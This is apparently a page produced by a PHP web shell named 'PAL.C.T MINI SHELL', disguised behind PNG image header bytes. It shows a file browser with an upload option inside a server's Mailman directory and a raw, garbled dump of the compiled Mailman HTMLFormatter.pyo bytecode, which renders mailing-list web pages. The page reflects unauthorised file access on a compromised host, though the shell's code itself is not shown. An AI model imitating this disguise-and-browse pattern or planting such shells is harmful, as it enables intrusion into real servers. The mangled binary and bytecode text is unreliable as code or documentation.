php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/HTMLFormatter.pyo

Pc
@sdZddkZddkZddklZddklZddklZddkTddkl	Z	dZ
d	Zd
ZdZ
ddd
YZdS(s5Routines for presentation of list-specific HTML text.iN(tmm_cfg(tUtils(t
MemberAdaptor(t*(t_ts<br>s
s, t
HTMLFormattercBs
eZdZdedZdZdZdZdZ	dZ
dZdZd	Z
d
ZdZdZd
ZddZdZdZdddZdZddZdZddZddZdedZdddZRS(c	Cstig}|iD]}|ti|dq~}|i}|i}t|id|i	}td|i
|i	}td}tdt
t|dt|idtdtd	dttidtd
dti	S(Nitlistinfosmailto:s,%(listinfo_link)s list run by %(owner_link)ss<hr>s<br>tadmins%%(realname)s administrative interfaces (requires authorization)s*Overview of all %(hostname)s mailing listss<p>(t
COMMASPACEtjointownerRtObscureEmailt	real_namet	host_nametLinktGetScriptURLtFormatt
GetOwnerEmailRt	ContainertAddresst	ScriptURLtMailmanLogo(	tselft_[1]tat	ownertexttrealnamethostnamet
listinfo_linkt
owner_linkt	innertext((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytGetMailmanFooter(s(
,			cCs|djo
|i}nti}g}|o|i}n
|i}x:|D]2}|p|i||o|i|qSqSWt|t|}|djot	d}	n$|djot	d}	nd}	g}
|i
|i}x|D]}ti
|}
|i|d|}|oti
|dd}n|}t||}|i|tijotd|d}n|
i|qW|	tt|
iS(	Nis%<em>(1 private member not shown)</em>s6<em>(%(num_concealed)d private members not shown)</em>Rtobscuretfor_textt(t)(tNonetpreferred_languageRtConcealSubscriptiontgetDigestMemberKeystgetRegularMemberKeystgetMemberOptiontappendtlenRtsorttobscure_addressesRRt
GetOptionsURLRtgetDeliveryStatusRtENABLEDtItalict
UnorderedListttupleR(Rtdigesttlangtlist_hiddentconceal_subtpeopletmemberstmt
num_concealedt	concealedtitemsR!tpersontidturltshowingtgot((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatUsers?sB

	



	cCs|tijo|i|tij}n|i||}||jo
d}nd}h	dti6dti6dti6dti6dti	6dti
6d	ti6d
ti6dti
6|}d|||fS(
Ns CHECKEDRtdontreceivetdisablemailtmimetackpostsR5tconcealtremindtrcvtopictnodupess)<input type=radio name="%s" value="%d"%s>(RtDisableDeliveryR0RR1R*tDontReceiveOwnPoststDisableMimetAcknowledgePoststDigestsR'tSuppressPasswordRemindertReceiveNonmatchingTopicstDontReceiveDuplicates(Rtoptiontvaluetusertoptvaltcheckedtname((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatOptionButtones$










cCs"|io
d}nd}d|S(Ns CHECKEDRs,<input type=radio name="digest" value="1"%s>(tdigest_is_default(RRY((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatDigestButton{s

cCst|i|}d}|i|}|tijotd}n|tijotd}nh|tijo7ti	dti
ti|i
}td}n!|tijotd}n|oftdtdi}tdtd	i}td
|itdi}tdS|o-|id
jo|i}	|i}
tdSdSdS(Ns; it was disabled by yous+; it was disabled by the list administrators%d-%b-%Ysa; it was disabled due to excessive bounces.  The
            last bounce was received on %(date)ss%; it was disabled for unknown reasonss+1s9Note: your list delivery is currently disabled%(reason)s.s#disables
Mail deliverysmailto:sthe list administratorsL<p>%(note)s

            <p>You may have disabled list delivery intentionally,
            or it may have been triggered by bounces from your email
            address.  In either case, to re-enable delivery, change the
            %(link)s option below.  Contact %(mailto)s if you have any
            questions or need assistance.is<p>We have received some recent bounces from your
            address.  Your current <em>bounce score</em> is %(score)s out of a
            maximum of %(total)s.  Please double check that your subscribed
            address is correct and that there are no problems with delivery to
            this address.  Your bounce score will be automatically reset if
            the problems are corrected soon.R(R0R%t
getBounceInfoRtBYUSERRtBYADMINtBYBOUNCEttimetstrftimet	localtimeRtmidnighttdatetUNKNOWNtFontSizeRRRtscoretbounce_score_threshold(RRWtstatustreasontinfoRftnotetlinktmailtoRittotal((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatDisabledNotices8	
			cCs,|i|}|iotdSdSdS(Ns(Note - you are subscribing to a list of mailing lists, so the %(type)s notice will be sent to the admin address for your membership, %(addr)s.)<p>R(tGetMemberAdminEmailt
umbrella_listR(RRWttypetaddr((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatUmbrellaNotices
cCs@d}d}|idjo|td7}na|idjo |td7}td}n1|idjo |td7}td}n|o|d	7}n|idjo|td
7}nM|io|td7}n/|td7}|io|td
7}n|io|i}|td7}n|S(NRispYou will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.isThis is a closed list, which means your subscription
            will be held for approval.  You will be notified of the list
            moderator's decision by email.salso is.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.  Once
            confirmation is received, your request will be held for approval
            by the list moderator.  You will be notified of the moderator's
            decision by email.t sqThis is %(also)sa private list, which means that the
            list of members is not available to non-members.s|This is %(also)sa hidden list, which means that the
            list of members is available only to the list administrator.snThis is %(also)sa public list, which means that the
            list of members list is available to everyone.s` (but we obscure the addresses so they are not
                easily recognizable by spammers).s<p>(Note that this is an umbrella list, intended to
            have only other mailing lists as members.  Among other things,
            this means that your confirmation request will be sent to the
            `%(sfx)s' account for your address.)(tsubscribe_policyRtprivate_rosterR.Rttumbrella_member_suffix(Rtmsgtalsotsfx((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatSubscriptionMsgs>





	cCs"|io
d}nd}d|S(NRs CHECKEDs,<input type=radio name="digest" value="0"%s>(R\(RRY((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatUndigestButtons

cCs"|io
d}nd}d|S(Ns CHECKEDRs*<input type=radio name="mime" value="1"%s>(tmime_is_default_digest(RRY((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatMimeDigestsButtons

cCs"|io
d}nd}d|S(NRs CHECKEDs+<input type=radio name="plain" value="1"%s>(R(RRY((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatPlainDigestsButtons

cCs|idjotd}nd}|i}tdtdddidtd	td
itd|id}|idjo|td
7}n|td7}|S(Nis<b><i>either</i></b> RsTo unsubscribe from %(realname)s, get a password reminder,
        or change your subscription options %(either)senter your subscription
        email address:
        <p><center> temailtsizeis  tUserOptionssUnsubscribe or edit optionstlanguages	</center>sf<p>... <b><i>or</i></b> select your entry from
                      the subscribers list (see above).sR If you leave the field blank, you will be prompted for
        your email address(RzRR
tTextBoxRtSubmitButtontHidden(RR6teitherRttext((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatEditingOptions	V
cCs2|pdS|djotdStdSdS(NRisI(<i>%(which)s is only available to the list
                members.</i>)sK(<i>%(which)s is only available to the list
            administrator.</i>)(R(Rtwhichtrestriction((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytRestrictedListMessages
cCs|i|iS(N(tRosterOptionR(RR6((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatRosterOptionForUserscCsdt}|itd||ipD|itd|itd|itdtdn|idjotd}td}ntd	}td
}|i|itd|itd|d
 itd|d|i|i	d|itd|i
dd|itdtd|id|S(NRsClick here for the list of s subscribers: tSubscriberRostersVisit Subscriber listiR:sAddress:sthe list administratorsAdmin address:sThe subscribers lists <p>Enter your is: and password to visit  the subscribers list: <p><center> Rxsroster-emails
Password: s	roster-pws&nbsp;&nbsp;sVisit Subscriber Lists	</center>(RtAddItemRRzRR
RRtlowert	FormatBoxtFormatSecureBox(RR6t	containertonlytwhom((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyRs*	
F
RcCs8|i|}|od||f}n|}d|S(Ns%s/%ss<FORM Method=POST ACTION="%s">(R(RRZtextratbase_urltfull_url((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatFormStart=s
cCsd|iS(Ns
<a href="%s">(tGetBaseArchiveURL(R((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatArchiveAnchorEscCsdS(Ns</FORM>((R((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyt
FormatFormEndHsicCs:t|toti|}n|}d|||fS(Ns2<INPUT type="Text" name="%s" size="%d" value="%s">(t
isinstancetstrRtwebsafe(RRZRRVt	safevalue((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyRKs
cCsd|S(Ns+<INPUT type="Password" name="%s" size="15">((RRZ((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyRSstSubmitcCsd||fS(Ns*<INPUT type="Submit" name="%s" value="%s">((RRZR((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatButtonVscCs|iotdSdS(NsAOnce a month, your password will be emailed to you as a reminder.R(tsend_remindersR(RR6((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytFormatReminderYs
c
Cs|djo
d}nti|}ti|ddd|d|}tid|}d}x|t|jo|||i}|i|oD||}	t	|	t
do|	i|d}	n|	||<nd	||<|d
}qbWti
|S(Nsus-asciitrawiR6tmlists(</?[Mm][Mm]-[^>]*>)utreplaceRi(R%Rt
GetCharSettmaketexttretsplitR,Rthas_keyRRutencodetEMPTYSTRINGR
(
RttemplatetreplacementsR6tcharsetRtpartstittagtrepl((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyt	ParseTags_s"

!

cCst|i}t|i}t|idjotti|i}n|i|i	}h|i
d6|id6|id6ti
|id6dti|iitdd6|id6|id	6d
d6|id6|itd
|id6|
d6|
d6||
d6d|id6d|id6|id6|i|id6|id6|d6}tiotiti |d<n|S(Nis<mm-mailman-footer>s<mm-list-name>s<mm-email-user>s<mm-list-description>s<!---->s<mm-list-info>s
<mm-form-end>s<mm-archive>s</a>s
</mm-archive>s<mm-list-subscription-msg>sThe current archives<mm-restricted-list-message>s<mm-num-reg-users>s<mm-num-digesters>s<mm-num-members>s%ss<mm-posting-addr>s<mm-request-addr>s
<mm-owner>s
<mm-reminder>s	<mm-host>s<mm-list-langs>s<mm-favicon>(!R,R(R)tGetAvailableLanguagesRRtGetLanguageDescrR&tGetLangSelectBoxRR R
t_internal_nameRtdescriptiontBRR
RmRtNLRRRRtarchive_privatetGetListEmailtGetRequestEmailRRRRtIMAGE_LOGOSt
SHORTCUT_ICON(RR6tdmember_lent
member_lent	listlangstd((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytGetStandardReplacementsus:


$







cCsf|djo
|i}n|i|}|ih|id||d6|id||d6|S(sz
        returns standard replaces plus formatted user lists in
        a dict just like GetStandardReplacements.
        is<mm-regular-users>is<mm-digest-users>N(R%R&RtupdateRD(RR6R7R((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pytGetAllReplacementss

RcCs|djo
|i}n|i}tttti|}y|i|}WnHtj
o<y|i|i}Wqtj
ot	i
}qXnXt||||S(N(R%R&RtmapRRRtindext
ValueErrorRtDEFAULT_SERVER_LANGUAGEt
SelectOptions(RR6tvarnametvaluestlegendtselected((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyRs

N(t__name__t
__module__R R%tFalseRDR[R]RrRwRRRRRRRRRRRRRRRRRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyR's2	&			+			)							#				%((t__doc__RbRtMailmanRRRtMailman.htmlformattMailman.i18nRRRRR	R(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/HTMLFormatter.pyt<module>s

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`